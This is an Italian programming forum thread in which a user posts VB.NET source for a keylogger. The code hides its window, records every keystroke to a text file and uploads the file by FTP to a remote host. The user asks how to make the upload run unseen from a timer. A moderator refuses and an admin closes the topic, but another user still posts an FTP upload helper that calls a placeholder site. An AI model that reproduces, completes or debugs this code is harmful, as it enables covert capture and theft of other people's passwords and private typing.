Username: Password: oppure
C# / VB.NET - [VB.NET]Problema codice ftp!
Forum - C# / VB.NET - [VB.NET]Problema codice ftp!

Avatar
V3rsus (Normal User)
Newbie


Messaggi: 3
Iscritto: 24/11/2011

Segnala al moderatore
Postato alle 10:08
Domenica, 27/11/2011
Questo topic è stato chiuso dal moderatore

Ciao ragazzi, sto creando un keylogger e non capisco dove sbaglio..

Allora questo è il codice che lo inserisco in un timer per la registrazione dei tasti e il salvataggio dei tasti digitati in un file .txt
Codice sorgente - presumibilmente VB.NET

  1. Imports System.IO 'Libreria per la gestione dei file
  2.  
  3. Public Class Form1
  4.  
  5.     'Dichiarazione funzione GetAsyncKeyState
  6.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
  7.  
  8.  
  9.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  10.  
  11.         'Avvia timer
  12.         Timer1.Start()
  13.  
  14.     End Sub
  15.  
  16.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  17.  
  18.         'Form invisibile
  19.         Me.Visible = False
  20.  
  21.         'Per ogni input esistente
  22.         For i As Integer = 3 To 255
  23.  
  24.             'Dichiarazione variabili
  25.             Dim fi As FileInfo = New FileInfo("C:\keylog.txt")
  26.             Dim sw As StreamWriter
  27.             Dim ch As String
  28.  
  29.             'Se questo input esiste
  30.             If GetAsyncKeyState(i) Then
  31.  
  32.                 'Converti in stringa l'input da byte
  33.                 ch = DirectCast(i, System.Windows.Forms.Keys).ToString
  34.  
  35.                 'Se non è un carattere circondalo da {}
  36.                 If ch.Length > 1 Then
  37.                     ch = "{" + ch + "}"
  38.                 End If
  39.  
  40.                 'Se il file non esiste crealo.
  41.                 'Altrimenti aprilo semplicemente in scrittura
  42.                 If fi.Exists = False Then
  43.                     sw = fi.CreateText()
  44.                 Else
  45.                     sw = fi.AppendText()
  46.                 End If
  47.  
  48.                 'Scrittura
  49.                 sw.Write(ch) 'Prepara la scrittura del carattere/stringa
  50.                 sw.Flush() 'scrivi
  51.                 sw.Close() 'chiudi
  52.             End If
  53.  
  54.         Next
  55.  
  56.     End Sub
  57. End Class



E fino a qui non c'è nessun problema..
Adesso per passare il file .txt a un hostweb tramite FTP ho un problema, nel senso che mettendo questo codice
Codice sorgente - presumibilmente VB.NET

  1. Try
  2.             My.Computer.Network.UploadFile("C:\keylog.txt", "ftp://FTP del sito/keylog.txt", "username", "password", True, 1)
  3.         Catch ex As Exception
  4.             MsgBox(ex.Message)
  5.         End Try




Oppure ques'altro
Codice sorgente - presumibilmente VB.NET

  1. Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://FTP del sito/keylog.txt"), System.Net.FtpWebRequest)
  2.         request.Credentials = New System.Net.NetworkCredential("username", "password")
  3.         request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
  4.  
  5.         Dim file() As Byte = System.IO.File.ReadAllBytes("C:\keylog.txt")
  6.  
  7.  
  8.         Dim strz As System.IO.Stream = request.GetRequestStream()
  9.         strz.Write(file, 0, file.Length)
  10.         strz.Close()
  11.         strz.Dispose()



Funzionano se li metto dentro un bottone e il file arriva all'host, quindi appena schiaccio il bottone compare che lo sta inviando all'host..
Però appena lo inserisco in un timer o textbox (perchè io lo devo fare invisibile quindi non posso metterlo in un bottone) non funziona più, non mi invia nulla all'host

Potete dirmi perchè non lo invia con il timer 2 o una textbox?

Grazie in anticipo!

Ultima modifica effettuata da V3rsus il 27/11/2011 alle 10:11
PM
Avatar
HeDo (Founder Member)
Guru^2


Messaggi: 2765
Iscritto: 21/09/2007

Up
0
Down
V
Segnala al moderatore
Postato alle 11:26
Domenica, 27/11/2011

non forniamo supporto per programmi di questo genere, prova altrove.

PM
Avatar
Il Totem (Admin)
Guru^2


Messaggi: 3635
Iscritto: 24/01/2006

Up
0
Down
V
Segnala al moderatore
Postato alle 18:45
Martedì, 29/11/2011
Questo topic è in violazione di una o più norme del regolamento: http://www.pierotofy.it/pages/extras/forum/9/3839-regolame ... .
    
Dopo averlo letto riapri un nuovo topic assicurandoti di aver rispettato le regole. Grazie per la tua pazienza.

PM
Avatar
Garu (Normal User)
Newbie


Messaggi: 13
Iscritto: 02/08/2011

Up
-4
Down
V
Segnala al moderatore
Postato alle 11:41
Domenica, 27/11/2011
Codice sorgente - presumibilmente VB.NET

  1. Sub invia(ByVal file As String, ByVal file_host As String, ByVal username As String, ByVal password As String)
  2.         Try
  3.             My.Computer.Network.UploadFile("C:\keylog.txt", "ftp://FTP del sito/keylog.txt", "username", "password")
  4.         Catch ex As Exception
  5.             MsgBox(ex.Message)
  6.         End Try
  7.     End Sub




Codice sorgente - presumibilmente Plain Text

  1. invia("C:\key...", "ftp://sito.org/keyl.txt", "Username", "password")


PM